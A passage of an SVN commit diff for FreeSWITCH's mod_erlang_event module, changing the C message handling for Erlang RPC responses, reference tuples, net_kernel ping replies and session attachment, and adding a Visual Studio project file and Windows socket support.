-		ei_decode_string(buf->buff, &buf->index, uuid_str) ||
-		ei_decode_atom(buf->buff, &buf->index, reg_name)) {
+	if (arity < 2 || arity > 3 ||
+		(arity==3 && ei_decode_atom(buf->buff, &buf->index, reg_name)) ||
+		ei_decode_string_or_binary(buf->buff, &buf->index, SWITCH_UUID_FORMATTED_LENGTH, uuid_str)) {
 		ei_x_encode_tuple_header(rbuf, 2);
 		ei_x_encode_atom(rbuf, "error");
 		ei_x_encode_atom(rbuf, "badarg");
 	} else {
 		switch_core_session_t *session;
-		if (!switch_strlen_zero(uuid_str) && (session = switch_core_session_locate(uuid_str))) {
-			/* create a new session list element and attach it to this listener */
-			if (attach_call_to_listener(listener,reg_name,session)) {
-				ei_x_encode_atom(rbuf, "ok");
+		if (!switch_strlen_zero_buf(uuid_str)) {
+			if ((session = switch_core_session_locate(uuid_str))) {
+				/* create a new session list element and attach it to this listener */
+				if ((arity==2 && attach_call_to_pid(listener, &msg->from, session)) ||
+						(arity==3 && attach_call_to_registered_process(listener, reg_name, session))) {
+					ei_x_encode_atom(rbuf, "ok");
+				} else {
+					ei_x_encode_tuple_header(rbuf, 2);
+					ei_x_encode_atom(rbuf, "error");
+					ei_x_encode_atom(rbuf, "session_attach_failed");
+				}
+				/* release the lock returned by session locate */
+				switch_core_session_rwunlock(session);
 			} else {
 				ei_x_encode_tuple_header(rbuf, 2);
 				ei_x_encode_atom(rbuf, "error");
@@ -548,6 +604,28 @@
 	return SWITCH_STATUS_SUCCESS;
 }
 
+/* catch the response to ei_rpc_to (which comes back as {rex, {Ref, Pid}}
+   The {Ref,Pid} bit can be handled by handle_ref_tuple
+ */
+static switch_status_t handle_msg_rpcresponse(listener_t *listener, erlang_msg *msg, int arity, ei_x_buff *buf, ei_x_buff *rbuf)
+{
+	int type, size, arity2, tmpindex;
+
+	ei_get_type(buf->buff, &buf->index, &type, &size);
+	switch(type) {
+	case ERL_SMALL_TUPLE_EXT :
+	case ERL_LARGE_TUPLE_EXT :
+		tmpindex = buf->index;
+		ei_decode_tuple_header(buf->buff, &tmpindex, &arity2);
+		return handle_ref_tuple(listener,msg,buf,rbuf);
+	default:
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Unknown rpc response\n");
+		break;
+	}
+	/* no reply */
+	return SWITCH_STATUS_FALSE;
+}
+
 static switch_status_t handle_msg_tuple(listener_t *listener, erlang_msg *msg, ei_x_buff *buf, ei_x_buff *rbuf)
 {
 	char tupletag[MAXATOMLEN];
@@ -580,7 +658,9 @@
 		} else if (!strncmp(tupletag, "bind", MAXATOMLEN)) {
 			ret = handle_msg_bind(listener,msg,buf,rbuf);
 		} else if (!strncmp(tupletag, "handlecall", MAXATOMLEN)) {
-			ret = handle_msg_handlecall(listener,arity,buf,rbuf);
+			ret = handle_msg_handlecall(listener,msg,arity,buf,rbuf);
+		} else if (!strncmp(tupletag, "rex", MAXATOMLEN)) {
+			ret = handle_msg_rpcresponse(listener,msg,arity,buf,rbuf);
 		} else {
 			ei_x_encode_tuple_header(rbuf, 2);
 			ei_x_encode_atom(rbuf, "error");
@@ -602,20 +682,23 @@
 	}
 	else if (!strncmp(atom, "nolog", MAXATOMLEN)) {
 		if (switch_test_flag(listener, LFLAG_LOG)) {
+			void *pop;
+			/*purge the log queue */
+			while (switch_queue_trypop(listener->log_queue, &pop) == SWITCH_STATUS_SUCCESS);
 			switch_clear_flag_locked(listener, LFLAG_LOG);
 		}
 		ei_x_encode_atom(rbuf, "ok");
 	} else if (!strncmp(atom, "register_log_handler", MAXATOMLEN)) {
 		ei_link(listener, ei_self(listener->ec), &msg->from);
 		listener->log_process.type = ERLANG_PID;
-		listener->log_process.pid = msg->from;
+		memcpy(&listener->log_process.pid, &msg->from, sizeof(erlang_pid));
 		listener->level = SWITCH_LOG_DEBUG;
 		switch_set_flag(listener, LFLAG_LOG);
 		ei_x_encode_atom(rbuf, "ok");
 	} else if (!strncmp(atom, "register_event_handler", MAXATOMLEN)) {
 		ei_link(listener, ei_self(listener->ec), &msg->from);
 		listener->event_process.type = ERLANG_PID;
-		listener->event_process.pid = msg->from;
+		memcpy(&listener->event_process.pid, &msg->from, sizeof(erlang_pid));
 		if (!switch_test_flag(listener, LFLAG_EVENTS)) {
 			switch_set_flag_locked(listener, LFLAG_EVENTS);
 		}
@@ -660,44 +743,224 @@
 	return ret;
 }
 
-int handle_msg(listener_t *listener, erlang_msg *msg, ei_x_buff *buf, ei_x_buff *rbuf)
+
+static switch_status_t handle_ref_tuple(listener_t *listener, erlang_msg *msg, ei_x_buff *buf, ei_x_buff *rbuf)
 {
-	int type, size, version;
-	switch_status_t ret = SWITCH_STATUS_SUCCESS;
+	erlang_ref ref;
+	erlang_pid *pid;
+	void *p;
+	char hash[100];
+	int arity;
 
+	ei_decode_tuple_header(buf->buff, &buf->index, &arity);
+
+	if (ei_decode_ref(buf->buff, &buf->index, &ref)) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Invalid reference\n");
+		return SWITCH_STATUS_FALSE;
+	}
+
+	if (!(pid = malloc(sizeof(erlang_pid)))) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Memory Error\n");
+		ei_x_encode_tuple_header(rbuf, 2);
+		ei_x_encode_atom(rbuf, "error");
+		ei_x_encode_atom(rbuf, "badmem");
+		return SWITCH_STATUS_SUCCESS;
+	}
+
+	if (ei_decode_pid(buf->buff, &buf->index, pid)) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Invalid pid in a reference/pid tuple\n");
+		return SWITCH_STATUS_FALSE;
+	}
+	
+	ei_hash_ref(&ref, hash);
+
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Hashed ref to %s\n", hash);
+	
+	if ((p = switch_core_hash_find(listener->spawn_pid_hash, hash))) {
+		if (p == &globals.TIMEOUT) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Handler for %s timed out\n", hash);
+			switch_core_hash_delete(listener->spawn_pid_hash, hash);
+			ei_x_encode_tuple_header(rbuf, 2);
+			ei_x_encode_atom(rbuf, "error");
+			ei_x_encode_atom(rbuf, "timeout");
+		} else if (p == &globals.WAITING) {
+			/* update the key to point at a pid */
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Found waiting slot for %s\n", hash);
+			switch_core_hash_delete(listener->spawn_pid_hash, hash);
+			switch_core_hash_insert(listener->spawn_pid_hash, hash, pid);
+			return SWITCH_STATUS_FALSE; /*no reply */
+		} else {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Found filled slot for %s\n", hash);
+			ei_x_encode_tuple_header(rbuf, 2);
+			ei_x_encode_atom(rbuf, "error");
+			ei_x_encode_atom(rbuf, "duplicate_response");
+		}
+	} else {
+		/* nothin in the hash */
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Empty slot for %s\n", hash);
+		ei_x_encode_tuple_header(rbuf, 2);
+		ei_x_encode_atom(rbuf, "error");
+		ei_x_encode_atom(rbuf, "invalid_ref");
+	}
+
+	switch_safe_free(pid); /* don't need it */
+
+	return SWITCH_STATUS_SUCCESS;
+}
+
+
+/* fake enough of the net_kernel module to be able to respond to net_adm:ping */
+/* {'$gen_call', {<cpx@freecpx.128.0>, #Ref<254770.4.0>}, {is_auth, cpx@freecpx} */
+static switch_status_t handle_net_kernel_msg(listener_t *listener, erlang_msg *msg, ei_x_buff *buf, ei_x_buff *rbuf)
+{
+	int version, size, type, arity;
+	char atom[MAXATOMLEN];
+	erlang_ref ref;
+	erlang_pid pid;
+
 	buf->index = 0;
 	ei_decode_version(buf->buff, &buf->index, &version);
 	ei_get_type(buf->buff, &buf->index, &type, &size);
 
-	switch(type) {
-	case ERL_SMALL_TUPLE_EXT :
-	case ERL_LARGE_TUPLE_EXT :
-		ret = handle_msg_tuple(listener,msg,buf,rbuf);
-		break;
-						 
-	case ERL_ATOM_EXT :
-		ret = handle_msg_atom(listener,msg,buf,rbuf);
-		break;
+	if (type != ERL_SMALL_TUPLE_EXT && type != ERL_SMALL_TUPLE_EXT) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "not a tuple\n");
+		return SWITCH_STATUS_FALSE;
+	}
 
-	default :
-		/* some other kind of erlang term */
-		ei_x_encode_tuple_header(rbuf, 2);
-		ei_x_encode_atom(rbuf, "error");
-		ei_x_encode_atom(rbuf, "undef");
-		break;
+	ei_decode_tuple_header(buf->buff, &buf->index, &arity);
+
+	if (arity != 3) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "wrong arity\n");
+		return SWITCH_STATUS_FALSE;
 	}
 
-	if (SWITCH_STATUS_FALSE==ret)
+	if (ei_decode_atom(buf->buff, &buf->index, atom) || strncmp(atom, "$gen_call", MAXATOMLEN)) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "not gen_call\n");
+		return SWITCH_STATUS_FALSE;
+	}
+
+	ei_get_type(buf->buff, &buf->index, &type, &size);
+
+	if (type != ERL_SMALL_TUPLE_EXT && type != ERL_SMALL_TUPLE_EXT) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "not a tuple\n");
+		return SWITCH_STATUS_FALSE;
+	}
+
+	ei_decode_tuple_header(buf->buff, &buf->index, &arity);
+
+	if (arity != 2) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "wrong arity\n");
+		return SWITCH_STATUS_FALSE;
+	}
+
+	if (ei_decode_pid(buf->buff, &buf->index, &pid) || ei_decode_ref(buf->buff, &buf->index, &ref)) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "decoding pid and ref error\n");
+		return SWITCH_STATUS_FALSE;
+	}
+
+	ei_get_type(buf->buff, &buf->index, &type, &size);
+
+	if (type != ERL_SMALL_TUPLE_EXT && type != ERL_SMALL_TUPLE_EXT) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "not a tuple\n");
+		return SWITCH_STATUS_FALSE;
+	}
+
+	ei_decode_tuple_header(buf->buff, &buf->index, &arity);
+
+	if (arity != 2) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "bad arity\n");
+		return SWITCH_STATUS_FALSE;
+	}
+
+	if (ei_decode_atom(buf->buff, &buf->index, atom) || strncmp(atom, "is_auth", MAXATOMLEN)) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "not is_auth\n");
+		return SWITCH_STATUS_FALSE;
+	}
+
+	/* To ! {Tag, Reply} */
+	ei_x_encode_tuple_header(rbuf, 2);
+	ei_x_encode_ref(rbuf, &ref);
+	ei_x_encode_atom(rbuf, "yes");
+	
+	switch_mutex_lock(listener->sock_mutex);
+	ei_send(listener->sockfd, &pid, rbuf->buff, rbuf->index);
+	switch_mutex_unlock(listener->sock_mutex);
+#ifdef EI_DEBUG
+	ei_x_print_msg(rbuf, &pid, 1);
+#endif
+
+	return SWITCH_STATUS_FALSE;
+}
+
+
+int handle_msg(listener_t *listener, erlang_msg *msg, ei_x_buff *buf, ei_x_buff *rbuf)
+{
+	int type, type2, size, version, arity, tmpindex;
+	switch_status_t ret = SWITCH_STATUS_SUCCESS;
+
+	if (msg->msgtype == ERL_REG_SEND && !strncmp(msg->toname, "net_kernel", MAXATOMLEN)) {
+		/* try to respond to ping stuff */
+		ret = handle_net_kernel_msg(listener, msg, buf, rbuf);
+	} else {
+		buf->index = 0;
+		ei_decode_version(buf->buff, &buf->index, &version);
+		ei_get_type(buf->buff, &buf->index, &type, &size);
+		switch(type) {
+		case ERL_SMALL_TUPLE_EXT :
+		case ERL_LARGE_TUPLE_EXT :
+			tmpindex = buf->index;
+			ei_decode_tuple_header(buf->buff, &tmpindex, &arity);
+			ei_get_type(buf->buff, &tmpindex, &type2, &size);
+
+			switch(type2) {
+				case ERL_ATOM_EXT:
+					ret = handle_msg_tuple(listener,msg,buf,rbuf);
+					break;
+				case ERL_REFERENCE_EXT :
+				case ERL_NEW_REFERENCE_EXT :
+					ret = handle_ref_tuple(listener, msg, buf, rbuf);
+					break;
+				default :
+					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "WEEEEEEEE %d %d\n", type, type2);
+					/* some other kind of erlang term */
+					ei_x_encode_tuple_header(rbuf, 2);
+					ei_x_encode_atom(rbuf, "error");
+					ei_x_encode_atom(rbuf, "undef");
+					break;
+			}
+			
+			break;
+							
+		case ERL_ATOM_EXT :
+			ret = handle_msg_atom(listener,msg,buf,rbuf);
+			break;
+
+		default :
+			/* some other kind of erlang term */
+			ei_x_encode_tuple_header(rbuf, 2);
+			ei_x_encode_atom(rbuf, "error");
+			ei_x_encode_atom(rbuf, "undef");
+			break;
+		}
+	}
+
+	if (SWITCH_STATUS_FALSE==ret) {
 		return 0;
-	else {
+	} else if (rbuf->index > 1) {
 		switch_mutex_lock(listener->sock_mutex);
 		ei_send(listener->sockfd, &msg->from, rbuf->buff, rbuf->index);
 		switch_mutex_unlock(listener->sock_mutex);
+#ifdef EI_DEBUG
+		ei_x_print_msg(rbuf, &msg->from, 1);
+#endif
 
 		if (SWITCH_STATUS_SUCCESS==ret)
 			return 0;
 		else /* SWITCH_STATUS_TERM */
 			return 1;
+	} else {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Empty reply, supressing\n");
+		return 0;
 	}
 }
 

Copied: freeswitch/branches/seven/src/mod/event_handlers/mod_erlang_event/mod_erlang_event.2008.vcproj (from rev 14471, freeswitch/trunk/src/mod/event_handlers/mod_erlang_event/mod_erlang_event.2008.vcproj) (0 => 14472)


--- freeswitch/branches/seven/src/mod/event_handlers/mod_erlang_event/mod_erlang_event.2008.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/event_handlers/mod_erlang_event/mod_erlang_event.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,299 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="9.00"
+	Name="mod_erlang_event"
+	ProjectGUID="{024864AC-0022-45F0-AB06-915C3E2C0FF1}"
+	RootNamespace="mod_erlang_event"
+	Keyword="Win32Proj"
+	TargetFrameworkVersion="131072"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+		<Platform
+			Name="x64"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalOptions="/I &quot;C:\Program Files\erl5.7.1\lib\erl_interface-3.6.1\include&quot; /D &quot;WIN32&quot; /D &quot;__WIN32__&quot;"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalOptions="&quot;C:\cygwin\home\andrew\otp_src_R13B01\lib\erl_interface\obj.debug\win32/ei.lib&quot; /NODEFAULTLIB:libcmt"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalOptions="/I &quot;C:\Program Files\erl5.7.1\lib\erl_interface-3.6.1\include&quot; /D &quot;WIN32&quot; /D &quot;__WIN32__&quot;"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalOptions="&quot;C:\cygwin\home\andrew\otp_src_R13B01\lib\erl_interface\obj.debug\win32/ei.lib&quot; /NODEFAULTLIB:libcmt"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Debug|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<File
+			RelativePath=".\ei_helpers.c"
+			>
+		</File>
+		<File
+			RelativePath=".\handle_msg.c"
+			>
+		</File>
+		<File
+			RelativePath=".\mod_erlang_event.c"
+			>
+		</File>
+		<File
+			RelativePath=".\mod_erlang_event.h"
+			>
+		</File>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Modified: freeswitch/branches/seven/src/mod/event_handlers/mod_erlang_event/mod_erlang_event.c (14471 => 14472)


--- freeswitch/branches/seven/src/mod/event_handlers/mod_erlang_event/mod_erlang_event.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/event_handlers/mod_erlang_event/mod_erlang_event.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Andrew Thompson <andrew@hijacked.us>
  * Rob Charlton <rob.charlton@savageminds.com>
  *
@@ -110,11 +110,11 @@
 
 	switch_mutex_lock(globals.listener_mutex);
 
-	switch_xml_set_binding_sections(bindings.search_binding, (1 << sizeof(switch_xml_section_enum_t)));
+	switch_xml_set_binding_sections(bindings.search_binding, SWITCH_XML_SECTION_MAX);
 
 	for (ptr = bindings.head; ptr; lst = ptr, ptr = ptr->next) {
 		if ((listener && ptr->listener == listener) ||
-			(pid && (&ptr->process.type == ERLANG_PID) && (!strcmp(pid->node, ptr->process.pid.node)) && pid->creation == ptr->process.pid.creation && pid->num == ptr->process.pid.num && pid->serial == ptr->process.pid.serial))  {
+			(pid && (ptr->process.type == ERLANG_PID) && !ei_compare_pids(&ptr->process.pid, pid)))  {
 			if (bindings.head == ptr) {
 				if (ptr->next) {
 					bindings.head = ptr->next;
@@ -151,8 +151,8 @@
 	switch_mutex_lock(listener->session_mutex);
 	for (s = listener->session_list; s; s = s->next) {
 		/* check the event uuid against the uuid of each session */
-		if (!strcmp(uuid, switch_core_session_get_uuid(s->session))) {
-			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Sending event to attached session\n");
+		if (!strcmp(uuid, s->uuid_str)) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Sending event to attached session for %s\n", s->uuid_str);
 			if (switch_event_dup(&clone, event) == SWITCH_STATUS_SUCCESS) {
 				/* add the event to the queue for this session */
 				if (switch_queue_trypush(s->event_queue, clone) != SWITCH_STATUS_SUCCESS) {
@@ -187,16 +187,17 @@
 		l = lp;
 		lp = lp->next;
 
-		/* test all of the sessions attached to this event in case
-		   one of them should receive it as well
+		/* test all of the sessions attached to this listener in case
+		   one of them should receive the event as well
 		 */
+
 		send_event_to_attached_sessions(l,event);
 
 		if (!switch_test_flag(l, LFLAG_EVENTS)) {
 			continue;
 		}
-		
-		if (switch_test_flag(l, LFLAG_STATEFUL) && l->timeout && switch_timestamp(NULL) - l->last_flush > l->timeout) {
+
+		if (switch_test_flag(l, LFLAG_STATEFUL) && l->timeout && switch_epoch_time_now(NULL) - l->last_flush > l->timeout) {
 			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Stateful Listener %u has expired\n", l->id);
 			remove_listener(l);
 			expire_listener(&l);
@@ -210,6 +211,7 @@
 				send = 1;
 			}
 		}
+
 		
 		if (send) {
 			if (switch_event_dup(&clone, event) == SWITCH_STATUS_SUCCESS) {
@@ -238,12 +240,21 @@
 }
 
 
+#ifdef WIN32
+static void close_socket(SOCKET *sock)
+#else
 static void close_socket(int *sock)
+#endif
 {
 	switch_mutex_lock(listen_list.sock_mutex);
 	if (*sock) {
+#ifdef WIN32
+		shutdown(*sock, SD_BOTH);
+		closesocket(*sock);
+#else
 		shutdown(*sock, SHUT_RDWR);
 		close(*sock);
+#endif
 		sock = NULL;
 	}
 	switch_mutex_unlock(listen_list.sock_mutex);
@@ -293,6 +304,7 @@
 	return l;
 }
 
+
 static void add_session_elem_to_listener(listener_t *listener, session_elem_t *session_element)
 {
 	switch_mutex_lock(listener->session_mutex);
@@ -301,19 +313,79 @@
 	switch_mutex_unlock(listener->session_mutex);
 }
 
+
+static void remove_session_elem_from_listener(listener_t *listener, session_elem_t *session_element)
+{
+	session_elem_t *s, *last = NULL;
+	switch_core_session_t *session;
+	
+	if (!session_element)
+		return;
+
+	for(s = listener->session_list; s; s = s->next) {
+		if (s == session_element) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Removing session element for %s\n", session_element->uuid_str);
+			if (last) {
+				last->next = s->next;
+			} else {
+				listener->session_list = s->next;
+			}
+			if ((session = switch_core_session_locate(session_element->uuid_str))) {
+				switch_channel_clear_flag(switch_core_session_get_channel(session), CF_CONTROLLED);
+				switch_core_session_rwunlock(session);
+			}
+			/* this allows the application threads to exit */
+			switch_clear_flag_locked(s, LFLAG_SESSION_ALIVE);
+			switch_safe_free(s);
+			break;
+		}
+		last = s;
+	}
+}
+
+
+static void remove_session_elem_from_listener_locked(listener_t *listener, session_elem_t *session_element) {
+	switch_mutex_lock(listener->session_mutex);
+	remove_session_elem_from_listener(listener, session_element);
+	switch_mutex_unlock(listener->session_mutex);
+}
+
+
+session_elem_t * find_session_elem_by_pid(listener_t *listener, erlang_pid *pid)
+{
+	session_elem_t *s = NULL;
+
+	switch_mutex_lock(listener->session_mutex);
+	for (s = listener->session_list; s; s = s->next) {
+		if (s->process.type == ERLANG_PID && !ei_compare_pids(pid, &s->process.pid)) {
+			break;
+		}
+	}
+	switch_mutex_unlock(listener->session_mutex);
+
+	return s;
+}
+
+
 static switch_xml_t erlang_fetch(const char *sectionstr, const char *tag_name, const char *key_name, const char *key_value,
 								switch_event_t *params, void *user_data)
 {
-	switch_xml_t xml = NULL;
+	char uuid_str[SWITCH_UUID_FORMATTED_LENGTH+1];
+	int type, size;
+	int i = 0;
+	void *p = NULL;
+	char *xmlstr;
 	struct erlang_binding *ptr;
 	switch_uuid_t uuid;
-	char uuid_str[SWITCH_UUID_FORMATTED_LENGTH+1];
+	switch_xml_section_t section;
+	switch_xml_t xml = NULL;
+	ei_x_buff *rep;
 	ei_x_buff buf;
 	ei_x_new_with_version(&buf);
 
 	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "looking for bindings\n");
 
-	switch_xml_section_t section = switch_xml_parse_section_string((char *) sectionstr);
+	section = switch_xml_parse_section_string((char *) sectionstr);
 
 	for (ptr = bindings.head; ptr && ptr->section != section; ptr = ptr->next); /* just get the first match */
 
@@ -337,97 +409,107 @@
 	ei_x_encode_tuple_header(&buf, 7);
 	ei_x_encode_atom(&buf, "fetch");
 	ei_x_encode_atom(&buf, sectionstr);
-	ei_x_encode_string(&buf, tag_name ? tag_name : "undefined");
-	ei_x_encode_string(&buf, key_name ? key_name : "undefined");
-	ei_x_encode_string(&buf, key_value ? key_value : "undefined");
-	ei_x_encode_string(&buf, uuid_str);
+	_ei_x_encode_string(&buf, tag_name ? tag_name : "undefined");
+	_ei_x_encode_string(&buf, key_name ? key_name : "undefined");
+	_ei_x_encode_string(&buf, key_value ? key_value : "undefined");
+	_ei_x_encode_string(&buf, uuid_str);
 	ei_encode_switch_event_headers(&buf, params);
 
-	/*switch_core_hash_insert(ptr->reply_hash, uuid_str, );*/
+	switch_core_hash_insert(ptr->listener->fetch_reply_hash, uuid_str, &globals.WAITING);
 
 	switch_mutex_lock(ptr->listener->sock_mutex);
-	ei_send(ptr->listener->sockfd, &ptr->process.pid, buf.buff, buf.index);
+	ei_sendto(ptr->listener->ec, ptr->listener->sockfd, &ptr->process, &buf);
 	switch_mutex_unlock(ptr->listener->sock_mutex);
 
-	int i = 0;
-	ei_x_buff *rep;
-	/*int index = 3;*/
-	while (!(rep = (ei_x_buff *) switch_core_hash_find(ptr->listener->fetch_reply_hash, uuid_str))) {
+	while (!(p = switch_core_hash_find(ptr->listener->fetch_reply_hash, uuid_str)) || p == &globals.WAITING) {
 		if (i > 50) { /* half a second timeout */
-			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "timed out!\n");
